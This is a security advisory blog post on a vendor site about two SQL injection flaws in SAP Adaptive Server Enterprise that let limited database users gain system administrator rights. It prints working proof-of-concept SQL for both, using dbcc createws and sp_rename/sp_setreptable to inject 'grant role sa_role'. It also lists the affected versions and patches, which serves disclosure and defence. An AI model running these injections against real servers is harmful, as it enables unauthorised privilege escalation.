LevelBlue Completes Acquisition of Cybereason. Learn more

LevelBlue Completes Acquisition of Cybereason. Learn more

Services
Cyber Advisory
Managed Cloud Security
Data Security
Manage Detection & Response
Email Security
Managed Network Infrastructure Security
Exposure Management
Security Operations Platforms
Incident Readiness & Response
SpiderLabs Threat Intelligence
Solutions
BY TOPIC
Offensive Security
Solutions to maximize your security ROI
Operational Technology
End-to-end OT security
Microsoft Security
Unlock the full power of Microsoft Security
Securing the IoT Landscape
Test, monitor and secure network objects
Why LevelBlue
About Us
Awards and Accolades
LevelBlue SpiderLabs
LevelBlue Security Operations Platforms
Security Colony
Partners
Microsoft
Unlock the full power of Microsoft Security
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings

About SAP security notice 2113333

SAP published security notice 2113333 "Multiple SQL injection vulnerabilities in SAP ASE" on January 12, 2015 that describes security fixes available for Adaptive Server Enterprise 15.0, 15.5, 15.7, and 16.0. The highest CVSS score is 8.5. These fixes resolve two privilege escalation issues via SQL injection. One SQLi is in the dbcc createws command (CVE-2014-6286). Database users that can create databases can leverage this to get system administrator privileges. Below is proof-of-concept for this vulnerability:

create database dbccdb
go
dbcc createws(dbccdb, 'x', 'b(id int) grant role sa_role to DB_LOGIN--', scan, 48)
go

This particular exploit works because the code behind the dbcc command does some internal housekeeping and as a part of it runs some SQL using the dbcc command input as argument. It turns out that it fails to validate the input. This leads to the embedded grant command execution with highest possible privileges.

Another vulnerability fixed is privilege escalation from replication_role holder to sa_role holder via the sp_setreptable system stored procedure (CVE-2014-6285):

-- run as 'DB_LOGIN' who holds 'replication_role'
use tempdb
go
create table mpl (id int primary key, val text)
go
exec sp_setreptable mpl, true, owner_on, use_index
go
set quoted_identifier on
go
declare @index_name varchar(200)
select @index_name = 'mpl.repl_' + cast(object_id('mpl') as varchar(100)) + '_250'
exec sp_rename @index_name, '"A"grant role sa_role to DB_LOGIN--"', 'index'
go
sp_setreptable mpl, false
go
drop table mpl
go
sp_displayroles
go

This works because the code executed internally fails to validate input, and code renaming objects also fail to do sanity checks. Always validate the input and throw an exception when it does not look good!

How can these two vulnerabilities be exploited in the real world? Let's say some custom application used by a company connects to Adaptive Server Enterprise using a log-in holding create database or the replication_role. Then users of this application can use the log-in in some client like isql to directly connect to the database and execute SQL code to elevate privileges. Or, if that is a web application vulnerable to SQLi, attackers might exploit this issues to escalate privileges as well.

Vulnerable versions are: 15.0.3 below ESD#4.4, 15.5 below ESD#5.4, 15.7 below SP130, and 16.0 below PL05.

As usual, Trustwave's database security products, AppDetective and DbProtect, ensure that all necessary patches are applied to database servers to prevent this type of attack.

 

ABOUT LEVELBLUE

LevelBlue is a globally recognized cybersecurity leader that reduces cyber risk and fortifies organizations against disruptive and damaging cyber threats. Our comprehensive offensive and defensive cybersecurity portfolio detects what others cannot, responds with greater speed and effectiveness, optimizes client investment, and improves security resilience. Learn more about us.

Latest Intelligence

Discover how our specialists can tailor a security program to fit the needs of
your organization.

Request a Demo